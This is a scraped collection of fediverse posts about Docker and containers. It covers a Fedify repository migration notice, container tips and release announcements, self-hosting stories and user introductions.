  • From: ghcr.io/dahlia/hollo:latest
  • To: ghcr.io/fedify-dev/hollo:latest

The migration ensures better project organization and continued development. Thank you for your understanding and cooperation in making this transition smooth! :hollo:

https://hollo.social/@fedify/0194a851-581d-779c-b777-dc39e753ef14

hollo.social

We've just moved the #Fedify p…

We've just moved the #Fedify project and related repositories to our new GitHub organization account, [@fedify-dev]! 🎉 Here's what moved: - [@dahlia/fedify](https://github.com/dahlia/fedify) → [@fedify-dev/fedify](https://github.com/fedify-dev/fedify) - [@dahlia/botkit](https://github.com/dahlia/botkit) → [@fedify-dev/botkit](https://github.com/fedify-dev/botkit) - [@dahlia/hollo](https://github.com/dahlia/hollo) → [@fedify-dev/hollo](https://github.com/fedify-dev/hollo) - [@dahlia/fedify-amqp](https://github.com/dahlia/fedify-amqp) → [@fedify-dev/amqp](https://github.com/fedify-dev/amqp) - [@dahlia/fedify-h3](https://github.com/dahlia/fedify-h3) → [@fedify-dev/h3](https://github.com/fedify-dev/h3) - [@dahlia/fedify-express](https://github.com/dahlia/fedify-express) → [@fedify-dev/express](https://github.com/fedify-dev/express) - [@dahlia/fedify-postgres](https://github.com/dahlia/fedify-postgres) → [@fedify-dev/postgres](https://github.com/fedify-dev/postgres) - [@dahlia/fedify-redis](https://github.com/dahlia/fedify-redis) → [@fedify-dev/redis](https://github.com/fedify-dev/redis) - [@dahlia/markdown-it-hashtag](https://github.com/dahlia/markdown-it-hashtag) → [@fedify-dev/markdown-it-hashtag](https://github.com/fedify-dev/markdown-it-hashtag) - [@dahlia/markdown-it-mention](https://github.com/dahlia/markdown-it-mention) → [@fedify-dev/markdown-it-mention](https://github.com/fedify-dev/markdown-it-mention) - [@dahlia/fedichatbot](https://github.com/dahlia/fedichatbot) → [@fedify-dev/fedichatbot](https://github.com/fedify-dev/fedichatbot) - [@dahlia/microblog](https://github.com/dahlia/microblog) → [@fedify-dev/microblog](https://github.com/fedify-dev/microblog) All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged. Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home! :fedify: New GitHub organization: <https://github.com/fedify-dev>. [@fedify-dev]: https://github.com/fedify-dev

We've just moved the project and related repositories to our new GitHub organization account, @fedify-dev! 🎉

Here's what moved:

All repositories have been transferred and GitHub's automatic redirects are in place, so existing links will continue to work. Also, the project's core functionality and development process remain unchanged.

Thanks to everyone who participated in our naming poll. Looking forward to Fedify's continued growth under its new organizational home!

:fedify: New GitHub organization: https://github.com/fedify-dev.

github.com

Fedify

A collection of development tools for fediverse. Fedify has 12 repositories available. Follow their code on GitHub.

@qiita@rss-mstdn.studiofreesia.com
@pandoc@fosstodon.org

Use locally installed fonts in the LaTeX Docker container by mounting your fonts directory to /usr/local/share/fonts, e.g.

docker --volume=/usr/share/fonts:/usr/local/share/fonts pandoc/latex …

Should work with XeLaTeX and LuaLaTeX PDF engines as well as with the "typst" container.

@joschi@hachyderm.io

🚀 Dive 0.14.0 has just been released with support for zstd compression in container image layers.

Thanks to Steven Halaka for contributing this feature!

> Dive is a tool for exploring each layer in a Docker image.

🐳 github.com/joschi/dive/release

Release v0.14.0 · joschi/dive

v0.14.0 Added Features support oci zstd compression [#53 @steven-halaka] Additional Changes update module github.com/docker/docker to v27.5.1+incompatible [#55 @renovate] update module github.co...

@qiita@rss-mstdn.studiofreesia.com
@diffrentcolours@tech.lgbt · Reply to Attractive Nuisance

I've had a bit more of a poke at this now, the Dockerfile is installing a bunch of services and they're running when the container does.

Nothing's really integrated and talking to itself yet, that's the next step...

I got a little sidetracked by the fact that Pixelfed ships with its own docker-compose.yml but I can't figure out how to make sense of it.

codeberg.org/diffrentcolours/p is where I've got to so far. Feel free to have a poke around, make improvements, or let me know what I've done wrong.

codeberg.org

pixelfed_aio

A project to build an all-in-one Docker container for Pixelfed

@alter_kaker@hachyderm.io

Standing up @nodebb on with .

A little while ago I was discussing with @raf the things I am looking for in online interaction that I'm not getting from traditional or federated social media. A lot of different things came up, but the most important and central is this:
the need to be able to have deep, complex conversations with people I trust, in a way that those conversations are not ephemeral, lost in the endlessly scrolling feed, like an infinite dark plain in which attention is but a circle of candlelight—but permanent, archived, accessible.

This is because I want to be able to collaborate with people to create ideas, with complexity and nuance, for which it's necessary to be able to build on the past and plan for the future.

What suggested itself was an Internet forum.

marctrius.net/deploying-nodebb

marctrius.net

Deploying NodeBB on Docker with MongoDB

My friends and I needed an Internet forum, to have deep conversations that are permanent and accessible.

@alter_kaker@hachyderm.io

Standing up @nodebb on with .

A little while ago I was discussing with @raf the things I am looking for in online interaction that I'm not getting from traditional or federated social media. A lot of different things came up, but the most important and central is this:
the need to be able to have deep, complex conversations with people I trust, in a way that those conversations are not ephemeral, lost in the endlessly scrolling feed, like an infinite dark plain in which attention is but a circle of candlelight—but permanent, archived, accessible.

This is because I want to be able to collaborate with people to create ideas, with complexity and nuance, for which it's necessary to be able to build on the past and plan for the future.

What suggested itself was an Internet forum.

marctrius.net/deploying-nodebb

marctrius.net

Deploying NodeBB on Docker with MongoDB

My friends and I needed an Internet forum, to have deep conversations that are permanent and accessible.

@alter_kaker@hachyderm.io

Standing up @nodebb on with .

A little while ago I was discussing with @raf the things I am looking for in online interaction that I'm not getting from traditional or federated social media. A lot of different things came up, but the most important and central is this:
the need to be able to have deep, complex conversations with people I trust, in a way that those conversations are not ephemeral, lost in the endlessly scrolling feed, like an infinite dark plain in which attention is but a circle of candlelight—but permanent, archived, accessible.

This is because I want to be able to collaborate with people to create ideas, with complexity and nuance, for which it's necessary to be able to build on the past and plan for the future.

What suggested itself was an Internet forum.

marctrius.net/deploying-nodebb

marctrius.net

Deploying NodeBB on Docker with MongoDB

My friends and I needed an Internet forum, to have deep conversations that are permanent and accessible.

@diffrentcolours@tech.lgbt

Had a bit of a play at building a container tonight. I'm planning a simple "all in one" build with nginx, MariaDB, php-fpm and Redis bundled under either runit or supervisord.

That should make it easier for people to play with spinning up their own instances. Should have something to show for this by the end of the weekend but there's some PHP / Laravel learning curve.

@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@Codeberg@social.anoxinon.de

Help from or users welcome!

We have started to offer open alpha access to a hosted Forgejo Actions CI runner. Unfortunately, there are many jobs that can crash the runner for every user reliably, and many users execute them inadvertently.

To save cost and disk wear, we want to keep temporary writes inside the CI builds in RAM and only store the images persistently.

However, the setup is apparently incorrect and we need help figuring it out.

See codeberg.org/actions/meta/issu

codeberg.org

Help with the setup appreciated

Currently, I am the only person actively maintaining the setup, with occasional help from some others for debugging. However, the setup turned out to be more complicated than I anticipated and I would be happy to receive assistance. The current setup looks like this: - LXC containers - roo...

@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@dampuzakura@fedibird.com
@voltagex@aus.social

Nah, I'll stick with compose

 Portainer Home and Student

Annual Subscription for Portainer Business for Home Users and Students.
$149/yr

Home and Student Includes -

    All Business Edition features.

    Restricted to non-commercial use.

    Max of 15 nodes.

    Community support.

    Requires Portainer version 2.18.4 or newer.

    Available for credit card purchase only.

    Subscription auto-renews.

    Please note if you are a business, we will revoke the license key.

    Home & Student licenses are not stackable with other licenses.

    All prices are in USD and exclude local, regional or national taxes.
ALT text

Portainer Home and Student Annual Subscription for Portainer Business for Home Users and Students. $149/yr Home and Student Includes - All Business Edition features. Restricted to non-commercial use. Max of 15 nodes. Community support. Requires Portainer version 2.18.4 or newer. Available for credit card purchase only. Subscription auto-renews. Please note if you are a business, we will revoke the license key. Home & Student licenses are not stackable with other licenses. All prices are in USD and exclude local, regional or national taxes.

@0hlov3@privatetrace.io

#introduction

Hey there, I’m 0hlov3! 🎮👨‍💻 Just your friendly neighborhood gaming and tech nerd, trying to make life as comfy as my setup allows. I split my days between EndeavourOS and macOS, while nerding out over cool tech and sharing my random hobbies.

Yes, I’ve written intros before—because apparently, I have a knack for switching Fediverse instances like people change phone cases. 😅 This time, though, I promise: last move, cross my heart (unless I find a shinier domain... but let’s not go there).

Why am I here? Just chasing good vibes, tech chatter, and interesting conversations. Hope you’re all doing amazing! 🚀

Interests:
#GoLang | 🐧 #Linux | ☸️ #Kubernetes | 🚀 #EndeavourOS
🛠️ #Docker | 📦 #Containerisation | 🎮 #LinuxGaming | ✍️ #Writing

Let’s connect and share some cool stuff! 😎

@kta@hostux.social

Interesting read. Why Linus Torvalds struggles with : security is leaky; containers are not properly isolated. Modules are shared across containers. Etc... solves some of this by enforcing security in orchestration. But not all of it. Need to take a deep dive into jails (@mwl). There's been a lot of movement lately in with . The security posture is greater with jails. But don't understand how.

[1] opensourceforu.com/2024/12/ana

[2] mwl.io/nonfiction/os#fmjail

@beeb@hachyderm.io

There's a new article on my personal blog! A few weeks ago, I was tasked to create an endpoint in at work and needed to distribute it as a image to suit the current infrastructure and release flows. Since there was little information, I had to try a few things before I came to a working container image. The article describes the final solution I used.

beeb.li/blog/aws-lambda-rust-d

beeb.li

Rust for AWS Lambda, the Docker Way

In this short article, we go over a setup to distribute AWS Lambda endpoints written in the Rust programming language through Docker images instead of a zipped binary. This technique leverages the power of Cargo Lambda and multi-stage Docker builds.

@stefano@bsd.cafe

This morning, a colleague noticed an issue with a Docker-based workload. I stepped in and checked—an upgrade hadn't migrated the database schema, and everything was failing. I manually ran the command in the container and resolved the issue.

The colleague couldn't understand what had happened. He asked me to explain, so I showed him the procedure.

Like many others, he was fascinated by how easily a "docker compose up -d" can set up a service, but this unfortunately hides complexities that, without adequate knowledge of what's underneath, can make the setup extremely fragile.

These tools are powerful, but we shouldn't make the mistake of thinking that understanding the underlying tools is no longer necessary.

@noim@noc.social

I might replace my with a Mac Mini. Currently, I limit my home server to save power, but it has become noticeably slow. Additionally, my platform is quite unstable. While might not be the ideal OS for server use, it would suit my needs. For containers, I can use , and Plex can run natively. I’d lose the ability to unionize my fs (like how Unraid combines disks), but I’m okay with that. On the plus side, I could finally use the native Backblaze client for backups.

@cdalvaro@fosstodon.org
@vggonz@mastodon.denibol.com

Siempre he tenido el hobby de administrar servidores. Y con el he visto otra oportunidad de retomarlo. Os presento la máquina dónde está alojada esta humilde instancia.

Un HC4 de 4 núcleos y 4 GB de memoria con disco . Lo de al lado es mi router con (con y )

Para complementar también tiene un servidor con para ver en el 🏴‍☠️. Todo con .

Un servidor con forma de tostadora y un disco duro insertado como si fuera una tostada
ALT text

Un servidor con forma de tostadora y un disco duro insertado como si fuera una tostada

@britown@mastodon.gamedev.place

Someone recently told me that it's a constant losing war of attrition to try to host your own mail server because you'll never have reliable delivery.

I'm not paying for anything and I want to use my domain for my email and it feels dumb to have that be the thing I have to pay for.

Was going to just spin up Docker Mailserver

I'd be using it for professional communications, admin for other hosted services, and sending newsletters.

Curious to hear first-hand experiences!

@stefan@social.stefanberger.net

I guess I missed doing a short 😂

I’m a dad of a little son living in , Germany 🇩🇪. As an engineer at the International IT of ALDI South I’m helping a lot of teams with automation, CI/CD etc. In former roles I worked as Cloud Solution Architect () and developer/SA.
Besides the world with my family, I like creating stuff with computers, doing , using , etc.
Currently I’m deeply into 🎉

@amyfou@lingo.lol

I am a (non-tenure track, uni) interested in every single thing about , esp ones, & Side gig in ( lol). I love and will ask you too many questions about your etc . Proud fan. Love 👋

@mo8it@fosstodon.org

, a self-hosted, simple and privacy respecting website traffic tracker 🌐

➡️ Demo: oxitraffic.mo8it.com

I just published version 0.6 with a image! 📦️
(You don't have to use Docker though)

Do you have a ?
I can host it for you if you want to test it with your website :blobcatheart:

Of course, it is written in 🦀
Check out the README, I spent a lot of time on it 😇
codeberg.org/mo8it/oxitraffic

Boost? 🔃🥰

A screenshot of https://oxitraffic.mo8it.com/
ALT text

A screenshot of https://oxitraffic.mo8it.com/

@noim@noc.social · Reply to noim

The requirements are:
- needs to work offline in
- user scripts can load additional dependencies, that also need to work offline the next launch
- user can access script dir and write scripts with vscode. Version of reactive-home needs to match the current docker image version
- should be available on

I have an idea of how I can achieve this, but it is annoying to refactor and test because, at the end of the day, it needs to work again since it powers my haha

@noim@noc.social

I really want to refactor parts of my reactive home project. But before I do that, I need to refactor the release flow and the packaging. I tried this once a few months ago, but failed miserably and reverted all commits. It is a project which loads user defined scripts. And everything needs to run inside . Currently, I just use http imports for that, but the image should work offline. This should be easy, right?

@floppy@fosstodon.org

Hacked together a script that helps compiling binaries on a remote host in a container. It goes roughly like this:

tar czf - $FILES | \
ssh remote docker run $ARGS rust:1.80 "$@" | \
tar xzvf - -C "$BIN_DIR"

And on the remote end there is a script running in a container doing tar/cargo/tar.

@n00q@don.n00q.net

Every time I need to touch docker it is a struggle. I have no desire to learn everything about docker, but I would like to be more familiar with the ins and outs so that running stuff with docker isn't always such a pain.

Recommend me a good crash course. Like 10 days of docker?

@hossainkhan@androiddev.social · Reply to Hossain Khan
@joschi@hachyderm.io

🐳 If you are using the very, very old official PostgreSQL Docker image for PostgreSQL 8 (`postgres:8`), you might be interested in hub.docker.com/r/joschi/postgr which is a identical copy of the Docker image (`postgres:8`, `posgres:8.4`, `postgres:8.4.22`) which was still using the deprecated and planned for removal image manifest v2 schema 1 and "Docker Image v1" formats.

docs.docker.com/engine/depreca

@box464@mastodon.social

Home Lab achievement unlocked - I moved a docker container (IceShrimp.NET) from one server to another and nothing exploded!

I'm very proud, something I've never done before. :blobpats:

Nick Offerman as Ron in Parks and Recreation beams at someone and smiles under a thick mustache. Text, "I'm really proud of you."
ALT text

Nick Offerman as Ron in Parks and Recreation beams at someone and smiles under a thick mustache. Text, "I'm really proud of you."

@rossgrady@dood.net
I had an interesting conversation with some #Docker executives on Friday, in which they highlighted some changes to their terms of service / business model. TL;DR: enterprises are now expected to pay for a full Docker subscription for *any* access to any "Docker Platform" features, including Docker Hub, regardless of pull rate.

So, for example, if you're a company with > 250 employees or > $10M revenue, and you have a Linux box pulling one open source image a week from Docker Hub, you must buy a Docker subscription for that box. And any others.

Previously, their website verbiage was focused solely on usage of Docker Desktop by enterprises.

If you are an #OpenSource maintainer and you're publishing container images on Docker Hub, they are monetizing your images, and they're doing so via a flat monthly rate regardless of consumption level. (IMHO that rate is too high, but YMMV, I guess)

This is obviously their prerogative. Really my only request/suggestion to Open Source maintainers who publish container images would be to consider also publishing them on GitHub's container registry (aka GitHub Packages) or any other registry, rather than single-sourcing with Docker Hub.

@holm@social.saarland

hat jemand hier skill und bock, in der mehlfabrik zu machen?

clients, server,
linux clients, , netzwerkkram, viel , ein wenig anderes zeug, ganz viel und , ein wenig (-compose), swarm, opnsense und anderer kram. manches 20 jahre alt, anderes von übermorgen.

details entstehen gerade, aber prinzipielles interesse gerne per an mich bekunden. Danke.

@davidvasandani@social.coop

My name is David. I'm a husband, and father of two very small , and live in the Echo Park area of Los Angeles, California.

I'm a Lead Software Engineer @ Sweetgreen 🥗 focusing on Infrastructure (primarily AWS) and Site Reliability.

Ask me questions about . I love to teach and will do my best to respond.

I'm interested in , , , , and . I value patience and empathy.

@blackvoid@mastodon.social · Reply to JRSofty

@jrsofty @arichtman Reason for this, is because works this way. If both SQL and your frond end app are not part of the same compose, as 2 separate services, but rather running them as 2 separate containers based on separate compose files, then you will have to configure each of them to use the same docker virtual namespace. Try and use network_mode:nameofNetwork for both of them and see if your will have any issues in communication.

@jrsofty@toot.community

I'm at the point where I'm about to throw my laptop out the window trying to get to allow me to have 2 standalone containers talk to one another. The setings for docker are atrocious. Nothing makes sense and no one has a clear path for getting to work. The documentation is also not clear and unhelpful. Why does it need to be so difficult. Why can't I simply tell one container when I set it up to run it's allowed to talk to the other container without jumping through hoops!

@mattcen@aus.social

:boost_requested:
Hey , I'm on a . I'm a systems engineer and developer with 15+ years' experience, based in , Australia. I have a high attention to detail & lots of experience working with people (15+ years community organising/Scout leading). Motivating values: free/ software, accessibility, diversity, equity, inclusion, privacy, and security, analysing/improving/automating systems/processes. Recent personal projects involve , , .
Ideally seek remote role with communicative/cohesive team, variety, flexible hours, ideally max 4 days/week.
LinkedIn: linkedin.com/in/mattcen/
Resume: blog.mattcen.com/resume/

@darkghosthunter@mastodon.social

Okay, is a pain to work with on an internal network. If you're using GitHub for your things, that's okay, but for everything else is not.

Is there any other alternative?

BTW, this is Coolify: coolify.io/

@dsoft@techhub.social

It almost feels like Mastodon do not want us to self host. There is no direct link on the main webpage to install on server. Digging through the docs, finally found documentation and there is no Docker container or a package for any OS for easy installation. They require us to install from source along with all the dependencies. I don't mean to bad mouth it but they do not do enough to encourage self hosting (if not discourage).

Would like to know your opinions or ideas on how to self host it easily with minimum maintenance (auto upgrades, etc).

Source: Mastodon server install docs: docs.joinmastodon.org/admin/in

@DrewNaylor@mastodon.online

"Error: device cgroup rules are not supported in rootless mode or in a user namespace"

Why are you like this, ? I need to be able to access the dongle but it wouldn't show up before so I tried to do a thing in the runner script to get the dongle into a cgroup. Trying now.

@ellotheth@bsd.network

today was my last day at @wonderproxy. last day working with @preinheimer and @schmalliso and @tdriley and will (and puck, the new me!).

it's been a pretty solid decade, folks. i have some FEELS. i learned , , , , , , , , and how and why not to use 's. i keynoted , staffed a vendor booth at , and contributed (a very little bit) to my favorite framework.

there is nothing in my adult life that has had as much of an impact on my career as the folks at wonderproxy. thanks for being awesome, wonderpeople. it's been a privilege working with you.

@changelog@changelog.social
@connelhooley@mastodonapp.uk · Reply to Connel

I'm running on my server but I'd like to move away from it. Was thinking of server but I'd like something that isn't all new and just works, maybe I'm doing it a disservice. I was thinking that might be but I've now caught up on that big palaver.

I used to love when I was younger but I have kids now and can't devote the energy to it, I just want a stable OS to run containers on that's easy to install and doesn't shove or down my throat.

@wuchyi@woon.my

Hello and welcome to my #fediverse profile!

I've spun up my own #GoToSocial instance as a way to teach myself #docker and server administration, but also to finally have a **forever** home in the federated universe.

Won't 'toot' much, but when I do, I'm probably rambling on about something related to #cars, #technology, #music, or just life in general.

Feel free to drop me a follow and see you around!

@scopique@gamepad.club

Scopique everywhere. Life-long , super-entheusiastic about .

Occasional attempted , but taking an extended break.

Mostly life-long , currently including and whatever else fits the bill. Currently working on a secret project for one hour every three months.

at scopique.com.

I dunno what else to post here right now. I think I covered all the hashtags.

@shykes@hachyderm.io
@jeff@phpc.social

Hello! I'm Jeff, a software architect near L.A.

From 1994-96 I ran a dialup with >1,000 users sharing 8 lines (oof). By the end it provided MINIX shell accounts + Internet email via FIDO. I've been online ever since.

I've been building Cerb.ai (formerly Cerberus Helpdesk) in + full-time for nearly 21 years. 1000s of teams use it for high-volume shared webmail + workflow automation.

I'm also interested in

@uffeb@mastodon.social
Lidt om mig, meget om IT


Hej alle.
Jeg er og entusiast.
Yder ofte
Går op i IT sikkerhed og at undgå dem der samler og sælger dine personlige data.
Jeg ville ønske at alle brugte Mastodon eller lign. istedet for FB/twitter, så vidt muligt altså.
.
Jeg roder med netværk, hardware, server-apps,

Du er velkommen til at følge mig.

Time for an I guess.

I am:

- native
- Physicist by training
- Software developer by profession (industrial and medical equipment, mainly ++, but also and )
- Electronics tinkerer (, , , , )
- Smart home hobbyist (, , )
- Into (, , )
- 3D printing early adopter (since 2014, , , )

@raesene@infosec.exchange

As appears to be tradition, here's an from me :) After some time as a admin, I've been in for a bit over 20 years.

Started in financial services as a security analyst, moved into for banks then as a consultant for various companies and now experiencing the sometimes odd world of Security Advocacy.

Tech-wise these days I focus on and all things containerization, but dabble in things and code in and when required.

@zulf@framapiaf.org · Reply to zulf

Je voudrais aussi sortir ma famille des en montant un mais il me vient beaucoup de question. Quel dimensionnement ? Comment gérer la sécurité du nextcloud ainsi que la sécurité du serveur derrière ? Ne pas exposer les données perso toussa
Est-ce que les et autre joyeusetés c'est bien pour gérer les trucs familiaux ?